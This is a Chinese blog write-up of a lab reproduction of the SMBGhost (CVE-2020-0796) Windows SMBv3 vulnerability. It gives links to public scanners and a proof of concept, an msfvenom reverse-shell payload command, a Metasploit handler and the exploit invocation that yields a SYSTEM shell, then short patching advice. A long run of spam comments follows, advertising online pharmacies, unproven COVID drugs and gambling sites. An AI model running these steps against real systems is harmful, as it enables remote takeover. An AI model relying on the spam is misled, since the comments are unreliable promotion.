临近期末考试,忙里偷闲复现下漏洞
0x00 关于CVE-2020-0796
一个由 Microsoft Server Message Block 3.1.1 (SMBv3)协议处理特殊请求时导致的远程代码执行(RCE)漏洞。攻击者如果成功利用漏洞,可以在目标服务器或客户端执行恶意代码 (攻击成功后,直接获取最高权限SYSTEM)。
影响版本:Win10 1903-1909。
微软于2020/03/13发布了漏洞补丁,补丁编号为KB4551762。
0x01 复现环境搭建
笔者在MSDN-itellyou上下载了Win10 1903 64位无补丁版本的镜像安装了虚拟机。注意,在安装前移除虚拟机的网卡,防止安装时或安装后系统自动升级或打补丁。
安装完成后,关闭Windows防火墙。

下载检测工具和利用工具,并确保配置好Python3环境:
检测脚本:https://github.com/ollypwn/SMBGhost
奇安信检查工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
PoC:https://github.com/chompie1337/SMBGhost_RCE_PoC.git
0x02 漏洞检查
听说ollypwn的检测脚本不准确,所以脚本和奇安信的工具我就都用了。
脚本检测:

奇安信工具自己扫自己(不要问为什么):

确认存在漏洞
0x03 漏洞利用
Kali Linux:192.168.154.133
Win10 1903 x64:192.168.154.136
使用msfvenom生成shellcode(反弹):
msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.154.133 lport=4444 -f py -o exp.py
替换exp.py中的buf为USER_PAYLOAD:

复制Payload,替换漏洞利用脚本exploit.py中的Payload:

可以看到,脚本作者还为此发了牢骚哈哈 (你相信吗,我竟然为了一段shellcode下载了Kali Linux)。
打开msfconsole,配置好handler:
handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 4444
运行脚本:
python3 exploit.py -i 192.168.154.136
注意:可能不会一次成功,目标机器可能会蓝屏并重启,注意观察
我这里运气不错,靶机没有蓝屏就弹回shell了,SYSTEM权限:

0x04 漏洞修复
这些是我自己想到的方案,可能有不足:
- 安装KB4551762补丁
- 禁用SMB服务,或配置防火墙限制连入445端口
- 安装杀软,CVE-2020-0796已经入库
Fantastic article post. Fantastic.
Looking forward to reading more. Great post.Thanks Again. Cool.
Say, you got a nice blog post.Really thank you! Fantastic.
Say, you got a nice blog post.Really thank you! Cool.
Fantastic blog post.Really thank you! Really Cool.
Muchos Gracias for your article post.
Very informative blog article.Really looking forward to read more. Really Great.
Very informative blog article.Much thanks again. Fantastic.
Very neat blog post.Much thanks again. Awesome.
male ed pills causes for ed – best canadian pharmacy online
Fantastic post.Really looking forward to read more. Will read on…
Looking forward to reading more. Great blog.Much thanks again. Really Cool.
Awesome blog article.Thanks Again. Cool.
wow, awesome blog article.Really thank you! Fantastic.
I loved your post.Really looking forward to read more. Keep writing.
เล่นบาคาร่าออนไลน์ได้อย่างง่ายๆแค่เพียงเข้ามาที่ UFABET กดเข้าหน้าสมัครก็สารมารถทำเงินได้โดยทันที เราเป็นคาสิโนออนไลน์ที่เหมาะสมที่สุด ระบบใช้งานง่ายเป็นมีคณะทำงานคอยให้คำแนะนำและชี้แนะแม้เกิดปัญหา บริการดีเคยชิน จะเล่นพันออนไลน์ทั้งทีควรต้องUFABET
Does it look like we’re in for a big ride here?
You write Formidable articles, keep up good work.
pay for term paper – purchase essay online canadian pharmacy
A big thank you for your article post.Really thank you! Keep writing.
Appreciate you sharing, great article post.Thanks Again. Want more.
I really like and appreciate your article post.Really looking forward to read more. Will read on…
ivermectin tablets dosage ivermectin for humans for sale
Does it look like we’re in for a big ride here?
Thank you ever so for you blog article. Cool.
Really informative blog article.Thanks Again. Want more.
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
Thank you for your article.Really thank you! Really Great.
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
Awesome article post.Really thank you! Awesome.
Ytdclp – how long does it take for sildenafil to work Xcpcaz zkhsgu
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
online pharmacy without s – oralciapll tadalafil uk
A great post without any doubt.
Thank you for sharing indeed great looking !
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
A great post without any doubt.
I encountered your site after doing a search for new contesting using Google, and decided to stick around and read more of your articles. Thanks for posting, I have your site bookmarked now.
Thank you for your article post.Really thank you! Really Cool.
wow, awesome blog post.Really thank you!
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
Thank you for sharing indeed great looking !
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
Wow, great post.Much thanks again. Cool.
Thank you for your article.Really looking forward to read more. Want more.
Thank you for sharing indeed great looking !
Thank you for your blog. Really Great.
How do I subscribe to your blog? Thanks for your help.
Muchos Gracias for your blog article.Really thank you! Much obliged.
Thank you for sharing indeed great looking !
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
I’ll right away take hold of your rss feed as I can not in finding your e-mail subscription link or newsletter service. Do you’ve any? Kindly allow me recognize in order that I may just subscribe. Thanks.
A great post without any doubt.
A great post without any doubt.
Very neat article post. Cool.
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
slots online free online slots play slots online
I loved your blog post.Much thanks again. Fantastic.
Do you have any video of that? I’d like to find out more details.
I was able to find good information from your blog articles.
Cómo jugar ps5 jugar con un conocido aplicar juego partake
Magnificent beat ! Can I be your apprentice? Just kidding!
I used to be able to find good advice from your blog articles.
Nice blog. Could someone with little experience do it, and add updates without messing it up? Good information on here, very informative.
Have you given any kind of thought at all with converting your current web-site into French? I know a couple of of translaters here that will would certainly help you do it for no cost if you want to get in touch with me personally.
Appreciate you sharing, great blog.Thanks Again. Awesome.
Great, google took me stright here. thanks btw for info. Cheers!
932361 398935I liked than you may be now. 760731
Appreciate you sharing, great article post.Much thanks again. Cool.
Really informative post.Thanks Again. Want more.
Very informative blog post.Much thanks again. Much obliged.
Nice Post. It’s really a very good article. I noticed all your important points. Thanks.
jasa backlink pbn
Have you given any kind of thought at all with converting your current web-site into French? I know a couple of of translaters here that will would certainly help you do it for no cost if you want to get in touch with me personally.
Have you given any kind of thought at all with converting your current web-site into French? I know a couple of of translaters here that will would certainly help you do it for no cost if you want to get in touch with me personally.
Awesome post.Really thank you! Want more.
trusted india online pharmacies: generic pills india online indian pharmacies
Really informative post.Really thank you! Will read on…
I like your style!
wow, awesome post.Really thank you! Much obliged.
hydroxychloroquine covid 19 hydroxychloroquine tablets
A big thank you for your post.Really looking forward to read more. Cool.
Really informative article post.Really looking forward to read more.
wow, awesome blog post.Thanks Again. Much obliged.
Fantastic post. Awesome.
I was able to find good advice from your blog posts.
how to make hydroxychloroquine at home plaquenil and alcohol
hydroxychloroquine generic hydroxychloroquin
ivermectin 5: generic stromectol – ivermectin coronavirus
Medicine prescribing information. Long-Term Effects. In USAtrazodone pillSome information about medication. Get now.
สล็อตออนไลน์เกมคาสิโนยอดนิยมชั่วกัลปวสาน เล่นง่าย แจ็คพอตแตกไวจำเป็นต้องที่ UFABET จ่ายจริง จ่ายเต็ม มีเกมให้เลือกมากมายทั้งพนันบอล บาคาร่า ยิงปลา มาเว็บไซต์นี้เว็บเดียวบอกเลยจ้าขอรับว่าโคตรคุ้ม สร้างรายได้กล้วยๆจบที่เว็บไซต์ UFABET ได้เลยคะครับผม
Thanks for finally talking about >Custom Design Playground Completed for Gabriella Park
Cheers! Terrific information. Can You Get Propecia On Nhs
Very informative article post.Thanks Again. Really Great.
ed treatment options erectile dysfunction medications – male dysfunction
I really like your writing style, excellent info , thanks for putting up : D.
Thank you for your article post.Much thanks again. Fantastic.Loading…
Muchos Gracias for your article post.Much thanks again. Much obliged.
wow, awesome blog article.Thanks Again. Keep writing.
Nice i really enjoyed reading your blogs. Keep on posting. Thanks
Thank you for sharing indeed great looking !
A great post without any doubt.
Thank you for sharing indeed great looking !
Thank you for sharing indeed great looking !
Very informative post.Really thank you! Want more.
Regards for helping out, superb info.
A big thank you for your blog article.Really looking forward to read more. Much obliged.
It’s time for communities to rally.
bonjour I love Your Blog can not say I come here often but im liking what i c so far….
I really like and appreciate your blog article.Really thank you! Great.
Very good blog post.Really looking forward to read more. Will read on…
professional resume serviceswriting and editing services
soolantra for sale canadaliterary needle biopsy evaluation
canadian pharmacy review – mexican pharmacy online rx pharmacy
ivermectin tablets ivermectin 4000 mcg – ivermectin pills human
cymbalta withdrawal side effects duloxetine side effects duloxetine generic
Can someone recommend Vac U Lock Strap Ons? Cheers xxx
atera apartments how to take apart a keurig
Really informative blog article.Thanks Again. Really Great.Loading…
Very neat blog.Really looking forward to read more. Really Cool.
Good information. Lucky me I found your site by accident (stumbleupon). I’ve book marked it for later!
Very informative blog article.Thanks Again. Really Cool.
Very informative post. Cool.
I really like and appreciate your blog.Much thanks again. Really Great.
Nice blog. Could someone with little experience do it, and add updates without messing it up? Good information on here, very informative.
Say, you got a nice article post. Fantastic.
I really like and appreciate your article post.Thanks Again. Cool.
Appreciate you sharing, great article.Really looking forward to read more. Great.
Fantastic post.Really looking forward to read more. Keep writing.
Howdy, a helpful article for sure. Thank you.
Say, you got a nice blog post.Thanks Again. Great.
What a great article.. i subscribed btw!
wow, awesome blog article.Really looking forward to read more.
I loved your article post. Awesome.
Paribu güvenilir mi öğrenmek için hemen tıklayın ve paribu güvenilir mi öğrenin!
Great article. Awesome.
I couldn’t refrain from commenting. Well written.
I really liked your article. Great.
Fantastic post.Much thanks again. Cool.
Enjoyed every bit of your blog.Really thank you! Want more.
??? ?????? ?????? ??????: ??????????? ??????? ???? ????? ?? ????? ??????? ???????? ?????? ????????? ? ??????? ????????????? ?????? ?????? ??????? 2021 ????
Thanks for sharing your info. I really appreciate
your efforts and I will be waiting for your next
post thank you once again.
best canadian online pharmacy canada pharmacies/account erectile dysfunction pills